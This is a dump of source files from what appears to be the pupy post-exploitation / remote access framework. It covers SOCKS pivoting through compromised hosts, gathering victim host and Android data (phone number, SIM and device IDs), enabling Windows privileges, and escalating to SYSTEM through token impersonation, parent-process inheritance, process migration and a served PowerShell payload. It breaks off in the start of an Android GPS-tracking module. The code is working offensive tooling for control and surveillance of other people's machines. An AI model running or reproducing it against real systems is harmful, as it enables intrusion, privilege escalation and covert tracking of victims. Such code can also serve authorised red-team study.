  {
    "path": "pupy/modules/forward.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport traceback\n\nfrom pupy.pupylib import getLogger\n\nfrom pupy.pupylib.PupyModule import (\n    PupyModule, config, PupyArgumentParser\n)\n\nimport pyuvproxy\n\n__class_name__ = 'Forward'\n\nlogger = getLogger('mod_forward')\n\n@config(cat='network', tags=['forward', 'pivot'])\nclass Forward(PupyModule):\n    ''' Local/remote port forwarding and SOCKS proxy '''\n    dependencies = {\n        'all': ['pyuv', 'pyuvproxy'],\n    }\n\n    is_module = False\n\n    @classmethod\n    def init_argparse(cls):\n        example = \"\"\"Examples:\n>> run forward -L 1234\nOpen a Socks proxy on local port 1234. Connection output from the target.\n>> run forward -CL 1234\nClose the local Socks proxy opened on 1234\n>> run forward -R 1234\nOpen a Socks proxy on target (127.0.0.1:1234). Becareful with target's firewal configuration.\n>> run forward -CR 1234\nStop the last proxy opened on the target\n>> run forward -R 0.0.0.0:1234\nOpen a Socks proxy on target (0.0.0.0:1234). Need a Socks connection to target_ip:1234.\n>> run forward -L 127.0.0.1:1234:192.168.0.2:8000\nLocal port forwarding. Listen locally on 1234 and connection establishes by the target to 192.168.0.2:8000.\n        \"\"\"\n\n        parser = PupyArgumentParser(\n            prog='forward', description=cls.__doc__, epilog=example\n        )\n\n        actions = parser.add_mutually_exclusive_group(required=True)\n        actions.add_argument(\n            '-CL', '--cancel-local',\n            help='Cancel local forwarding (LPORT/LPATH)'\n        )\n        actions.add_argument(\n            '-CR', '--cancel-remote',\n            help='Cancel remote forwarding (RPORT/RPATH)'\n        )\n\n        actions.add_argument(\n            '-l', '--list',\n            default=False, action='store_true',\n            help='List forwardings for current client'\n        )\n\n        actions.add_argument(\n            '-L', '--local', help='Local port forwarding ([LHOST]:LPORT[:RHOST[:[BPORT=]RPORT]])'\n            '; LPATH:RPATH'\n        )\n\n        actions.add_argument(\n            '-R', '--remote', help='Remote port forwarding ([RHOST:]RPORT[:LHOST[:[BPORT=]LPORT]])'\n            '; RPATH:LPATH'\n        )\n\n        actions.add_argument(\n            '-VRL', '--virtual-remote-listener', help='Create virtual pupy listener',\n            metavar=('PORT', 'TRANSPORT'), nargs=2\n        )\n\n        actions.add_argument(\n            '-CVRL', '--cancel-virtual-remote-listener',\n            metavar='PORT', help='Disable virtual pupy listener',\n            type=int\n        )\n\n        cls.arg_parser = parser\n\n    def run(self, args):\n        try:\n            state = self.client.conn.single(pyuvproxy.PairState)\n\n            if args.list:\n                self._list(state, args)\n            else:\n                self._portmap(state, args)\n\n        except:\n            traceback.print_exc()\n            raise\n\n    def _list(self, state, args):\n        if not state.local:\n            self.info('Forwarding was not enabled')\n            return\n\n        for port, forward in state.local.list(filter_by_local_id=state.local_id):\n            self.success('L: {} -> {}'.format(port, forward))\n\n        for port, forward in state.remote.list():\n            self.success('R: {} -> {}'.format(port, forward))\n\n    def _parse_args(self, args):\n        config = None\n        parts = None\n        lport, lhost = None, None\n        rport, rhost = None, None\n        lpath, rpath = None, None\n        bport = None\n\n        if args.cancel_local or args.cancel_remote:\n            config = args.cancel_local or args.cancel_remote\n            try:\n                lport = int(config)\n                lhost = None\n            except:\n                lport = None\n                lhost = config\n        else:\n            config = args.local or args.remote\n            parts = config.split(':')\n            lport, lhost = 1080, '127.0.0.1'\n            rport, rhost = None, None\n            lpath, rpath = None, None\n            bport = None\n\n            if len(parts) == 1:\n                lport = int(parts[0])\n            elif len(parts) == 2:\n                part1, part2 = parts\n                found = False\n                try:\n                    if '=' in part1:\n                        bport, lport = part1.split('=')\n                        bport = int(bport)\n                        lport = int(lport)\n                    else:\n                        lport = int(part1)\n\n                    try:\n                        if '=' in part2:\n                            bport, rport = part2.split('=')\n                            bport = int(bport)\n                            rport = int(rport)\n                        else:\n                            rport = int(part2)\n\n                        rhost = '127.0.0.1'\n                        found = True\n                    except:\n                        rhost = part2\n                        rport = lport\n                        found = True\n                except:\n                    try:\n                        if '=' in part2:\n                            bport, lport = part2.split('=')\n                            bport = int(bport)\n                            lport = int(lport)\n                        else:\n                            lport = int(part2)\n\n                        lhost = part1\n                        found = True\n                    except:\n                        pass\n\n                if not found:\n                    lpath, rpath = parts\n\n            elif len(parts) == 3:\n                try:\n                    if '=' in parts[2]:\n                        bport, rport = parts[2].split('=')\n                        bport = int(bport)\n                        rport = int(rport)\n                    else:\n                        rport = int(parts[2])\n\n                    lport, rhost = parts[:2]\n\n                    if '=' in lport:\n                        bport, lport = lport.split('=')\n                        bport = int(bport)\n                        lport = int(lport)\n                    else:\n                        lport = int(lport)\n\n                except:\n                    lhost, lport, rhost = parts\n                    if '=' in lport:\n                        bport, lport = lport.split('=')\n                        bport = int(bport)\n                        lport = int(lport)\n                    else:\n                        lport = int(lport)\n\n                    rport = lport\n\n            elif len(parts) == 4:\n                lhost, lport, rhost, rport = parts\n                lport = int(lport)\n\n                if '=' in rport:\n                    bport, rport = rport.split('=')\n                    bport = int(bport)\n                    rport = int(rport)\n                else:\n                    rport = int(rport)\n\n            else:\n                raise ValueError(\n                    'Invalid configuration: {}'.format(config))\n\n        return config, parts, lport, lhost, rport, rhost, lpath, rpath, bport\n\n    def _portmap(self, state, args):\n        if len(self.job.pupymodules) > 1 and (args.local or args.cancel_local):\n            raise ValueError(\n                'Adding local forward for multiple modules is not supported')\n\n        config, parts, lport, lhost, rport, rhost, lpath, rpath, bport = \\\n            None, None, None, None, None, None, None, None, None\n\n        virt_port, virt_transport = None, None\n\n        if args.virtual_remote_listener:\n            virt_port = int(args.virtual_remote_listener[0])\n            virt_transport = args.virtual_remote_listener[1]\n        elif args.cancel_virtual_remote_listener:\n            virt_port = int(args.cancel_virtual_remote_listener)\n        else:\n            config, parts, lport, lhost, rport, rhost, lpath, rpath, bport = self._parse_args(\n                args)\n\n        manager = self.client.pupsrv.single(pyuvproxy.ManagerState)\n        rpyuvproxy = self.client.remote('pyuvproxy')\n\n        if args.cancel_local or args.cancel_remote or args.cancel_virtual_remote_listener:\n            local, remote, local_id, remote_id = state.get()\n\n            if not local:\n                self.info('Forwarding was not enabled')\n                return\n\n            if args.cancel_local:\n                manager = local\n            else:\n                manager = remote\n\n            try:\n                if args.cancel_virtual_remote_listener:\n                    local.unregister_virtual_port(virt_port)\n                    remote.unbind(virt_port)\n                else:\n                    idx = lhost or lport\n                    if manager.unbind(idx):\n                        self.success('Forwarding {} removed'.format(idx))\n                    else:\n                        self.error(\n                            'Removal failed: port {} not found'.format(idx))\n            except Exception as e:\n                self.error('Removal failed: {}'.format(e))\n\n            return\n\n        if not manager.manager:\n            manager.manager = pyuvproxy.Manager()\n            manager.manager.start()\n            self.client.pupsrv.register_cleanup(manager.cleanup)\n\n        if not state.local:\n            state.local = manager.manager\n            state.remote = rpyuvproxy.Manager()\n            state.remote.start()\n            state.remote_id, state.local_id = state.local.pair(\n                state.remote)\n\n            self.client.conn.register_local_cleanup(state.cleanup)\n            self.client.conn.register_remote_cleanup(\n                state.remote.force_stop\n            )\n\n        local, remote, local_id, remote_id = state.get()\n\n        if args.local:\n            manager = local\n            id = local_id\n        else:\n            manager = remote\n            id = remote_id\n\n        try:\n            if args.virtual_remote_listener:\n                def _create_virtual_connection(peername):\n                    try:\n                        return self.client.pupsrv.create_virtual_connection(\n                            virt_transport, '{}@{}'.format(\n                                peername, self.client.node()))\n                    except Exception as e:\n                        logger.exception(e)\n                        raise\n\n                local.register_virtual_port(virt_port, _create_virtual_connection)\n                remote.bind(id, local_address=('0.0.0.0', virt_port),\n                            forward=('254.254.254.254', virt_port))\n\n                self.success('Forwarding pupy port activated ({}: {})'.format(\n                    virt_port, virt_transport))\n                return\n\n            if rport and rhost:\n                forward = (rhost, rport)\n            else:\n                forward = None\n\n            if lpath and rpath:\n                manager.bind(id, local_address=lpath,\n                             forward=rpath, bind=bport)\n            else:\n                manager.bind(id, local_address=(lhost, lport),\n                             forward=forward, bind=bport)\n\n            self.success('Forwarding added')\n\n        except Exception as e:\n            self.error('Forwarding failed: {}:{}'.format(type(e), e))\n"
  },
  {
    "path": "pupy/modules/get_hwuuid.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__ = \"GetHwUuid\"\n\n@config(cat=\"gather\")\nclass GetHwUuid(PupyModule):\n    \"\"\" Try to get UUID (DMI) or machine-id (dbus/linux) \"\"\"\n    dependencies = {\n        'windows': ['win32api', 'win32com', 'pythoncom', 'winerror'],\n        'all': ['hwuuid']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='get_hwuuid',\n            description=cls.__doc__\n        )\n\n    def run(self, args):\n        get_hw_uuid = self.client.remote('hwuuid', 'get_hw_uuid')\n\n        method, uuid = get_hw_uuid()\n        self.success('{} ({})'.format(method, uuid))\n"
  },
  {
    "path": "pupy/modules/get_info.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\n\nif sys.version_info.major > 2:\n    unicode = str\n\n\n__class_name__=\"GetInfo\"\n\n@config(cat=\"gather\")\nclass GetInfo(PupyModule):\n    \"\"\" get some informations about one or multiple clients \"\"\"\n    dependencies = {\n        'windows': ['pupwinutils.security'],\n        'android': ['pupydroid.utils']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='get_info',\n            description=cls.__doc__\n        )\n\n    def run(self, args):\n        commonKeys = [\n            \"hostname\", \"user\", \"release\", \"version\", \"cmdline\",\n            \"os_arch\", \"proc_arch\", \"pid\", \"exec_path\", \"cid\",\n            \"address\", \"macaddr\", \"spi\", \"revision\", \"node\",\n            \"debug_logfile\", \"native\", \"proxy\", \"external_ip\"\n        ]\n        pupyKeys = [\"launcher\", \"launcher_args\"]\n        windKeys = [\"uac_lvl\",\"intgty_lvl\"]\n        linuxKeys = []\n        macKeys = []\n\n        infos = []\n\n        for k in commonKeys:\n            if k in self.client.desc:\n                infos.append((k, self.client.desc[k]))\n\n        if self.client.is_windows():\n            for k in windKeys:\n                infos.append((k, self.client.desc[k]))\n\n            can_get_admin_access = self.client.remote(\n                'pupwinutils.security', 'can_get_admin_access', False)\n\n            currentUserIsLocalAdmin = can_get_admin_access()\n\n            value = '?'\n            if currentUserIsLocalAdmin:\n                value = 'Yes'\n            elif not currentUserIsLocalAdmin:\n                value = 'No'\n\n            infos.append(('local_adm', value))\n\n        elif self.client.is_linux():\n            for k in linuxKeys:\n                infos.append((k, self.client.desc[k]))\n\n        elif self.client.is_darwin():\n            for k in macKeys:\n                infos.append((k, self.client.desc[k]))\n\n        elif self.client.is_android():\n            utils = self.client.remote('pupydroid.utils')\n\n            wifiConnected = utils.isWiFiConnected()\n            if wifiConnected:\n                androidCtionType = {'info':\"WiFi\", 'fast':True}\n            else:\n                androidCtionType = utils.getMobileNetworkType()\n\n            infos.append(('ction_type', \"{0} (fast:{1})\".format(androidCtionType['info'], androidCtionType['fast'])))\n            androidID = utils.getAndroidID()\n            infos.append((\"android_id\",androidID))\n            wifiEnabled = utils.isWiFiEnabled()\n            infos.append((\"wifi_enabled\",wifiConnected or wifiEnabled))\n            infoBuild = utils.getInfoBuild()\n            infos.append((\"device_name\",infoBuild['deviceName']))\n            infos.append((\"manufacturer\",infoBuild['manufacturer']))\n            infos.append((\"model\",infoBuild['model']))\n            infos.append((\"product\",infoBuild['product']))\n            infos.append((\"bootloader_version\",infoBuild['bootloaderVersion']))\n            infos.append((\"radio_version\",infoBuild['radioVersion']))\n            infos.append((\"release\",infoBuild['release']))\n            battery = utils.getBatteryStats()\n            infos.append((\"battery_%\",battery['percentage']))\n            infos.append((\"is_charging\",battery['isCharging']))\n            simState = utils.getSimState()\n            infos.append((\"sim_state\",simState))\n            deviceId = utils.getDeviceId()\n            infos.append((\"device_id\",deviceId))\n            #Needs API level 23. When this API will be used, these 2 following line should be uncommented\n            try:\n                simInfo = utils.getSimInfo()\n                infos.append((\"sim_count\",simInfo))\n            except:\n                pass\n\n            if (\"absent\" not in simState) and (\"unknown\" not in simState):\n                phoneNb = utils.getPhoneNumber()\n                infos.append((\"phone_nb\",phoneNb))\n                simCountryIso = utils.getSimCountryIso()\n                infos.append((\"sim_country\",simCountryIso))\n                networkCountryIso = utils.getNetworkCountryIso()\n                infos.append((\"network_country\",networkCountryIso))\n                networkOperatorName = utils.getNetworkOperatorName()\n                infos.append((\"network_operator\",networkOperatorName))\n                isNetworkRoaming = utils.isNetworkRoaming()\n                infos.append((\"is_roaming\",isNetworkRoaming))\n            else:\n                #Print N/A when not applicable. These following lines can be removed from info if needed\n                infos.append((\"phone_nb\",\"N/A\"))\n                infos.append((\"sim_country\",\"N/A\"))\n                infos.append((\"network_country\",\"N/A\"))\n                infos.append((\"network_operator\",\"N/A\"))\n                infos.append((\"device_id\",\"N/A\"))\n\n        for k in pupyKeys:\n            if k in self.client.desc:\n                infos.append((k, self.client.desc[k]))\n\n        infos.append(('platform', '{}/{}'.format(\n            self.client.platform, self.client.arch or '?'\n        )))\n\n        #For remplacing None or \"\" value by \"?\"\n        infoTemp = []\n        for i, (key, value) in enumerate(infos):\n            if value is None or value == \"\":\n                value = \"?\"\n            elif type(value) in (list, tuple):\n                value = ' '.join([unicode(x) for x in value])\n            elif key == 'cid':\n                value = '{:016x}'.format(value)\n            infoTemp.append((key, value))\n\n        infos = infoTemp\n\n        table = [{\n            'KEY': k,\n            'VALUE': v\n        } for k,v in infoTemp]\n\n        self.log(Table(table, ['KEY', 'VALUE'], legend=False))\n"
  },
  {
    "path": "pupy/modules/getdomain.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"GetDomain\"\n\n@config(compat=\"windows\", cat=\"admin\")\nclass GetDomain(PupyModule):\n    \"\"\" Get primary domain controller \"\"\"\n\n    dependencies = ['pupwinutils.getdomain']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"getdomain\", description=cls.__doc__)\n\n    def run(self, args):\n        get_domain_controller = self.client.remote('pupwinutils.getdomain', 'get_domain_controller')\n\n        primary_domain = get_domain_controller()\n        if not primary_domain:\n            self.error(\"This host is not part of a domain.\")\n        else:\n            self.success(\"Primary domain controller: %s\" % primary_domain)\n"
  },
  {
    "path": "pupy/modules/getpid.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"PsModule\"\n\n@config(cat=\"admin\")\nclass PsModule(PupyModule):\n    \"\"\" list process information \"\"\"\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"getpid\", description=cls.__doc__)\n\n    def run(self, args):\n        getpid = self.client.remote('os', 'getpid')\n        pid = getpid()\n        self.success('PID: {}'.format(pid))\n"
  },
  {
    "path": "pupy/modules/getppid.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"PsModule\"\n\n@config(cat=\"admin\")\nclass PsModule(PupyModule):\n    \"\"\" list parent process information \"\"\"\n    is_module=False\n\n    dependencies = {\n        'windows': ['pupwinutils.processes']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"getppid\", description=cls.__doc__)\n\n    def run(self, args):\n        if self.client.is_windows():\n            get_current_ppid = self.client.remote('pupwinutils.processes', 'get_current_ppid')\n            outputlist = get_current_ppid()\n            for out in outputlist:\n                self.success('%s: %s' % (out, outputlist[out]))\n            return # quit\n        else:\n            getppid = self.client.remote('os', 'getppid')\n            self.success('PPID: {}'.format(getppid()))\n"
  },
  {
    "path": "pupy/modules/getprivs.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: @n1nj4sec\n# Contributor(s): @bobsecq\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, Color\n\n__class_name__ = \"GetPrivsModule\"\n\n\n@config(compat=[\"windows\"], cat=\"manage\")\nclass GetPrivsModule(PupyModule):\n    ''' Manage current process privileges '''\n\n    dependencies = ['pupwinutils.security']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='getprivs', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'privileges', nargs='*', default=None, metavar='privilege',\n            help='Try to get specified privileges for the '\n            'current process (SeDebugPrivilege for example)')\n\n    def run(self, args):\n        if args.privileges:\n            enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False)\n            for privilege in args.privileges:\n                try:\n                    enable_privilege(privilege)\n                    self.success('{} enabled'.format(privilege))\n                except Exception as e:\n                    self.error('{} was not enabled: {}'.format(\n                        privilege, e.args[1]))\n        else:\n            get_currents_privs = self.client.remote('pupwinutils.security', 'get_currents_privs', False)\n            privs = get_currents_privs()\n\n            content = []\n\n            for (privilege, enabled) in privs:\n                color = 'grey'\n                if enabled:\n                    color = 'green'\n\n                content.append({\n                    'Privilege': Color(privilege, color),\n                    'Enabled': Color(enabled, color)\n                })\n\n            self.log(\n                Table(content, ['Privilege', 'Enabled'], caption='Current priviliges')\n            )\n"
  },
  {
    "path": "pupy/modules/getsystem.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.modules.lib.windows.migrate import migrate\n\nfrom pupy.modules.lib.windows import powerloader\n\nimport os\n\n__class_name__ = \"GetSystem\"\n\n\n@config(compat=\"windows\", category=\"privesc\")\nclass GetSystem(PupyModule):\n\n    \"\"\"\n    Try to get NT AUTHORITY SYSTEM privileges\n\n    - Case 1: If the launcher on the target uses a reverse connection (e.g. connect or auto_proxy),\n    this module will migrate on a created SYSTEM process ('impersonate' method) or\n    it will create a new SYSTEM process thanks to a handle inheritance ('inheritance' method) aka 'parent method'.\n    In this case, the created SYSTEM launcher will connect to your pupy contoller automatically.\n    - Case 2: If the launcher on the target uses a bind connection, this module will enable the 'powershell' option by default.\n    In this case, a payload will be uploaded and it will be executed as System on the target.\n    This payload listens on your given port on the target. You have to connect to this launcher manually.\n    \"\"\"\n\n    dependencies = [\"pupwinutils.security\", \"pupwinutils.processes\"]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"getsystem\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-m', '--method', dest='method', choices=['impersonate', 'inheritance'],\n            default=None, help='Method for gaining a new pupy session as SYSTEM',\n            required=True,\n        )\n        cls.arg_parser.add_argument(\n            '-x', dest='execute', default=None,\n            help='Change the default process to create/inject into'\n        )\n        cls.arg_parser.add_argument(\n            '-r', dest='restart', action='store_true', default=False,\n            help='Relaunch current executable as system (dangerous)'\n        )\n        cls.arg_parser.add_argument(\n            '-p', dest='powershell', action='store_true', default=False,\n            help='Force to use a powershell payload'\n        )\n        cls.arg_parser.add_argument(\n            '--ppid', dest='parentID', type=int, default=None,\n            help=\"Force this ppid ('inheritance' method only)\"\n        )\n        cls.arg_parser.add_argument(\n            '-k', dest='keep', action='store_false', default=True,\n            help=\"Close this current connection after migration ('impersonate' method only)\"\n        )\n\n        cls.arg_parser.add_argument(\n            '-t', dest='timeout', default=60, type=int,\n            help=\"Wait n seconds a reverse connection during migration (default: %(default)s) \"\n            \"('impersonate' method only)\")\n\n    def run(self, args):\n\n        # Command to execute on the target\n        cmdToExecute = None\n\n        # The the local file which contains PS1 script (when powershell chosen or enabled automcatically)\n        local_file = ''\n\n        # True if ps1 script will be used in bind mode. If reverse connection with ps1 then False\n        isBindLauncherForPs1 = False\n\n        # Contains ip:port used for bind connection on the target with ps1 script.\n        # None if reverse connection and (consequently) isBindLauncherForPs1==False\n\n        listeningAddressPortForBindPs1 = None\n        # Usefull information for bind mode connection (ps1 script)\n        launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address']\n\n        completion = None\n\n        # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)\n        if launcherType == \"bind\":\n            self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort))\n            isBindLauncherForPs1 = True\n            self.info('Consequently, powershell option is enabled automatically')\n            args.powershell = True\n        else:\n            self.info('The current pupy launcher is using a REVERSE connection (e.g. \\'auto_proxy\\' or \\'connect\\' launcher)')\n            isBindLauncherForPs1 = False\n\n        # A Powershell payload is used for getting a pupy session as SYSTEM\n        if args.powershell:\n            self.info('A powershell payload will be used for getting a pupy session as SYSTEM')\n            clientConfToUse = None\n\n            if isBindLauncherForPs1:\n                self.info('Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'.format(addressPort))\n                self.info(\"Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port\")\n                self.info(\"Be careful, you have to choose a port which is not used on the target!\")\n                listeningPort = -1\n                while listeningPort==-1:\n                    try:\n                        listeningPort = int(input(\"[?] Give me the listening port to use on the target: \"))\n                    except Exception as e:\n                        self.warning(\"You have to give me a valid port. Try again. ({})\".format(e))\n                listeningAddress = addressPort.split(':')[0]\n                listeningAddressPortForBindPs1 = \"{0}:{1}\".format(listeningAddress, listeningPort)\n                self.info(\"The ps1 script used for getting a pupy session as SYSTEM will be configured for listening on {0} on the target\".format(listeningAddressPortForBindPs1))\n                bindConf = self.client.get_conf()\n                #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target\n                bindConf['launcher_args'][bindConf['launcher_args'].index(\"--port\")+1] = str(listeningPort)\n                clientConfToUse = bindConf\n            else:\n                self.info('Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection')\n                clientConfToUse = self.client.get_conf()\n\n            cmdToExecute, completion = powerloader.serve(self, clientConfToUse)\n\n        # restart current exe as system\n        if args.restart:\n            self.info('Trying to configure for running the current executable on the target as SYSTEM')\n            exe = self.client.desc['exec_path'].split('\\\\')\n            if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows':\n                self.warning('It seems that your current process is %s' % self.client.desc['exec_path'])\n                self.warning('It is not recommended to restart it')\n                return\n\n            cmdToExecute = self.client.desc['exec_path']\n\n        if args.method == 'inheritance':\n            if not cmdToExecute:\n                cmdToExecute = args.execute\n\n            if cmdToExecute is None:\n                self.error(\n                    'Application to execute with SYSTEM privileges should '\n                    'be specified with one of -x/-p/-r args')\n                return\n\n            try:\n                enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False)\n                enable_privilege('SeDebugPrivilege')\n                self.success('{} enabled'.format('SeDebugPrivilege'))\n            except Exception as e:\n                self.error('{} was not enabled: {}'.format('SeDebugPrivilege', e.args[1]))\n\n            create_new_process_from_ppid = self.client.remote(\n                'pupwinutils.security', 'create_new_process_from_ppid', False)\n\n            if args.parentID:\n                self.info('Using the Parent Process method on the pid {0}...'.format(args.parentID))\n                self.info('Command: {}'.format(cmdToExecute))\n\n                pid = create_new_process_from_ppid(int(args.parentID), cmdToExecute)\n                self.success('Created: pid={}, ppid={}'.format(pid, args.parentID))\n                return\n\n            else:\n                self.info(\"Getting information about all processes running on the target\")\n\n                enum_processes = self.client.remote('pupwinutils.processes', 'enum_processes')\n                get_integrity_level = self.client.remote('pupwinutils.security', 'get_integrity_level', False)\n\n                self.info(\"Searching a process with a 'SYSTEM' integrity level\")\n\n                for aprocess in enum_processes():\n                    integrityLevel = get_integrity_level(aprocess['pid'])\n\n                    if not integrityLevel == 'System':\n                        continue\n\n                    self.info(\"{0} (pid {1}) has a 'SYSTEM' integrity level, trying to use it\".format(\n                        aprocess['name'], aprocess['pid']))\n\n                    try:\n                        pid = create_new_process_from_ppid(aprocess['pid'], cmdToExecute)\n                        self.success('Created: pid={}, ppid={}'.format(pid, aprocess['pid']))\n                        break\n\n                    except Exception as e:\n                        self.error('Failed: {}'.format(' '.join(x for x in e.args if type(x) is str)))\n\n        elif args.method == 'impersonate':\n            if cmdToExecute is None:\n                cmdToExecute = args.execute or 'cmd.exe'\n\n            getsystem = self.client.remote('pupwinutils.security', 'getsystem', False)\n            proc_pid = getsystem(cmdToExecute)\n\n            self.success('Impersonated, pid={}. Migrating..'.format(proc_pid))\n            migrate(self, proc_pid, keep=args.keep, timeout=args.timeout)\n            return\n\n        if args.powershell:\n            if completion and not completion.is_set():\n                self.info('Waiting for PowerLoader completion')\n                completion.wait()\n\n            if isBindLauncherForPs1:\n                self.success(\n                    'You have to connect to the target manually on {0}: '\n                    'try \"connect --host {0}\" in pupy shell'.format(listeningAddressPortForBindPs1))\n            else:\n                self.success('Waiting for a connection (take few seconds, 1 min max)...')\n\n            if local_file:\n                os.remove(local_file)\n"
  },
  {
    "path": "pupy/modules/getuid.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"getuid\"\n\n@config(cat=\"admin\")\nclass getuid(PupyModule):\n    \"\"\" get username \"\"\"\n    is_module=False\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"getuid\", description=cls.__doc__)\n\n    def run(self, args):\n        getuid = self.client.remote('pupyutils.basic_cmds', 'getuid')\n        self.success(getuid())\n"
  },
  {
    "path": "pupy/modules/gpstracker.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom time import sleep\n\nimport os\nimport csv\n\nfrom io import open\n\nfrom pupy.network.lib.rpc.utils.classic import download\nfrom pupy.pupylib.utils.common import getLocalAndroidPath\n\n__class_name__=\"gpstracker\"\n\n\nKML_TEMPLATE = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<kml xmlns=\"http://www.opengis.net/kml/2.2\">\n    <Document>\n        <name>MY_DOCUMENT</name>\n        <description>MY_DESCRIPTION</description>\n        <Style id=\"Lump\">\n            <LineStyle>\n                <color>CD0000FF</color>\n                <width>2</width>\n            </LineStyle>\n            <PolyStyle>\n                <color>9AFF0000</color>\n            </PolyStyle>\n        </Style>\n        <Style id=\"Path\">\n            <LineStyle>\n                <color>FF0000FF</color>\n                <width>3</width>\n            </LineStyle>\n        </Style>\n        <Style id=\"markerstyle\">\n            <IconStyle>\n                <Icon>\n                    <href>http://maps.google.com/intl/en_us/mapfiles/ms/micons/red-dot.png</href>\n                </Icon>\n            </IconStyle>\n        </Style>\n        MY_PLACEMARKS\n    </Document>\n</kml>\n\"\"\"\n\nKML_PLACEMARK = \"\"\"<Placemark>\n            <name>MY_NAME</name>\n            <description>MY_DESCRIPTION</description>\n            <styleUrl>#Path</styleUrl>\n            <LineString>\n                <tessellate>1</tessellate>\n                <altitudeMode>clampToGround</altitudeMode>\n                <coordinates>\n                MY_COORDINATE_1\n                MY_COORDINATE_2\n                </coordinates>\n            </LineString>\n        </Placemark>\n\"\"\"\n\ndef generateKML(deviceName, traces, outputFile):\n    '''\n    '''\n    kmlPlacemarks, lastPlace = \"\", None\n    kmlData = KML_TEMPLATE.replace('MY_DOCUMENT', deviceName)\n    kmlData = kmlData.replace('MY_DESCRIPTION', deviceName)\n    for aPlace in traces:\n        if lastPlace is None:\n            lastPlace = aPlace\n\n        # logging.info(\"{0},{1} --> {2},{3}\".format(lastPlace[1],lastPlace[2], aPlace[1], aPlace[2]))\n\n        aKmlPlacemark = KML_PLACEMARK.replace(\"MY_NAME\", lastPlace[0])\n        aKmlPlacemark = aKmlPlacemark.replace(\"MY_DESCRIPTION\", \"{0},{1}\".format(lastPlace[1], lastPlace[2]))\n        aKmlPlacemark = aKmlPlacemark.replace(\"MY_COORDINATE_1\", \"{0},{1},0.0\".format(lastPlace[2],lastPlace[1]))\n        aKmlPlacemark = aKmlPlacemark.replace(\"MY_COORDINATE_2\", \"{0},{1},0.0\".format(aPlace[2], aPlace[1]))\n        kmlPlacemarks += aKmlPlacemark+\"\\n\"\n        lastPlace = aPlace\n\n    kmlData = kmlData.replace(\"MY_PLACEMARKS\", \"\\n\"+kmlPlacemarks)\n\n    f = open(outputFile, 'w')\n    f.write(kmlData)\n    f.close()\n\n@config(cat=\"gather\", compat=[\"android\"])\nclass gpstracker(PupyModule):\n    \"\"\" to interact with gps \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = 